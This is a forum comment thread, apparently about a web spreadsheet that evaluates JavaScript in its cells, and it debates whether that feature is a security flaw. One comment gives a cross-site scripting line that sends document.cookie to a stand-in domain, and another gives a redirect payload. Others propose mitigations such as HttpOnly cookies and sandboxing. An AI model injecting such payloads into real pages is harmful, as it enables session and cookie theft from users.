6 ms·
The fact that you can put Javascript code which interacts with the cells is awesome. For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum
by jokeofweek 13y ago
The fact that you can put Javascript code which interacts with the cells is awesome.
For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.
- nmat 13y agoYou may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.
- genericacct 13y agoPlease elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?
- araskoktas 13y agodocument.write('<img src="somedomain.com/?'+document.cookie);
- genericacct 13y agohave you heard of the HttpOnly attribute for cookies?
- araskoktas 13y agogood, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
- genericacct 13y agoI most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..
- cosarara97 13y agoBut you'd need to send a spreadsheet with that to the victim.
- araskoktas 13y agoWell yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.
- ubersoldat2k7 13y agoYeah! Better replace it with VB and you've got no security probl... oh wait!
- just2n 13y agoPut it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?